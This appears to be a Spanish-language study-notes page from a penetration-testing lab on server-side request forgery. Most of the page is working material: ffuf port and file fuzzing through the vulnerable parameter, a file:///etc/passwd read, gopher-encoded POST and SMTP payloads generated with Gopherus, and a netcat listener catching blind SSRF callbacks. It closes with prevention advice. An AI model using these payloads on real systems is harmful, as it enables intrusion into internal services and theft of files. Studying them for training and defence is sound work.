Skip to content

Enumerating the System

c
$ ffuf -w ./ports.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01" -fr "Failed to connect to"

<SNIP>

[Status: 200, Size: 45, Words: 7, Lines: 1, Duration: 0ms]
    * FUZZ: 3306
[Status: 200, Size: 8285, Words: 2151, Lines: 158, Duration: 338ms]
    * FUZZ: 80
c
ffuf -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://dateserver.htb/FUZZ.php&date=2024-01-01" -fr "Server at dateserver.htb Port 80"

Local File Inclusion (LFI)

Como se ha visto hace unas secciones, podemos manipular el esquema URL para provocar un comportamiento inesperado. Dado que el esquema URL forma parte de la URL proporcionada a la aplicación web, intentemos leer archivos locales del sistema de archivos utilizando el esquema URL file://. Podemos lograrlo proporcionando la URL file:///etc/passwd

Protocolo gopher

Podemos utilizar SSRF para acceder a puntos finales internos restringidos. Sin embargo, existe limitados a las solicitudes GET, ya que no hay forma de enviar una solicitud POST con el esquema de URL http://.

c
POST /admin.php HTTP/1.1
Host: dateserver.htb
Content-Length: 13
Content-Type: application/x-www-form-urlencoded

adminpw=admin

Para poder enviar la solicitud post se puede hacer uso del protocolo gopher

c
gopher://dateserver.htb:80/_POST%20/admin.php%20HTTP%2F1.1%0D%0AHost:%20dateserver.htb%0D%0AContent-Length:%2013%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Aadminpw%3Dadmin
c
POST /index.php HTTP/1.1
Host: 172.17.0.2
Content-Length: 265
Content-Type: application/x-www-form-urlencoded

dateserver=gopher%3a//dateserver.htb%3a80/_POST%2520/admin.php%2520HTTP%252F1.1%250D%250AHost%3a%2520dateserver.htb%250D%250AContent-Length%3a%252013%250D%250AContent-Type%3a%2520application/x-www-form-urlencoded%250D%250A%250D%250Aadminpw%253Dadmin&date=2024-01-01

Podemos utilizar el protocolo Gopher para interactuar con muchos servicios internos, no solo con servidores HTTP. Imaginemos un escenario en el que identificamos, a través de una vulnerabilidad SSRF, que el puerto TCP 25 está abierto localmente. Este es el puerto estándar para los servidores SMTP. También podemos utilizar Gopher para interactuar con este servidor SMTP interno. Sin embargo, construir URL Gopher sintáctica y semánticamente correctas puede llevar tiempo y esfuerzo. Por lo tanto, utilizaremos la herramienta Gopherus para generar URL Gopher por nosotros. Se admiten los siguientes servicios:

c
$ python2.7 gopherus.py

  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$

usage: gopherus.py [-h] [--exploit EXPLOIT]

optional arguments:
  -h, --help         show this help message and exit
  --exploit EXPLOIT  mysql, postgresql, fastcgi, redis, smtp, zabbix,
                     pymemcache, rbmemcache, phpmemcache, dmpmemcache
c
$ python2.7 gopherus.py --exploit smtp

  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$


Give Details to send mail: 

Mail from :  attacker@academy.htb
Mail To :  victim@academy.htb
Subject :  HelloWorld
Message :  Hello from SSRF!

Your gopher link is ready to send Mail: 

gopher://127.0.0.1:25/_MAIL%20FROM:attacker%40academy.htb%0ARCPT%20To:victim%40academy.htb%0ADATA%0AFrom:attacker%40academy.htb%0ASubject:HelloWorld%0AMessage:Hello%20from%20SSRF%21%0A.

-----------Made-by-SpyD3r-----------

Blind SSRF

c
$ nc -lnvp 8000

listening on [any] 8000 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 32928
GET /index.php HTTP/1.1
Host: 172.17.0.1:8000
Accept: */*
  • Solicitud del sitio web a tu ip atacante:
c
POST /index.php HTTP/1.1
Host: 10.129.61.13
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://10.129.61.13
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://10.129.61.13/
Priority: u=0

dateserver=http://10.10.10.10&date=2024-01-01

Exploiting Blind SSRF

Teniendo en cuenta cada uno de los puertos, podemos ir enumerando los abiertos

c
POST /index.php HTTP/1.1
Host: 10.129.61.13
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Origin: http://10.129.61.13
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://10.129.61.13/
Priority: u=0

dateserver=http://127.0.0.1:81&date=2024-01-01
c
POST /index.php HTTP/1.1
Host: 10.129.61.13
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Origin: http://10.129.61.13
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://10.129.61.13/
Priority: u=0

dateserver=http://127.0.0.1:8080&date=2024-01-01
c
POST /index.php HTTP/1.1
Host: 10.129.61.13
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Origin: http://10.129.61.13
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://10.129.61.13/
Priority: u=0

dateserver=http://127.0.0.1:8000&date=2024-01-01

Prevención de la SSRF

Si la aplicación web obtiene datos de un host remoto según la entrada del usuario, es crucial implementar medidas de seguridad adecuadas para prevenir escenarios SSRF.

Los datos del origen remoto del que se obtienen deben verificarse con una lista blanca para evitar que un atacante obligue al servidor a realizar solicitudes contra orígenes arbitrarios. Una lista blanca impide que un atacante realice solicitudes no deseadas a sistemas internos. Además, el esquema de URL y el protocolo utilizados en la solicitud deben restringirse para evitar que los atacantes proporcionen protocolos arbitrarios. En su lugar, deben codificarse o verificarse con una lista blanca. Al igual que con cualquier entrada de usuario, la sanitización de la entrada puede ayudar a prevenir comportamientos inesperados que podrían provocar vulnerabilidades de SSRF.

En la capa de red, las reglas de firewall adecuadas pueden impedir las solicitudes salientes a sistemas remotos inesperados. Si se implementa correctamente, una configuración de firewall restrictiva puede mitigar las vulnerabilidades de SSRF en la aplicación web, bloqueando cualquier solicitud saliente a sistemas objetivo potencialmente interesantes. Además, la segmentación de la red puede evitar que los atacantes aprovechen las vulnerabilidades de SSRF para acceder a los sistemas internos.

  • cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html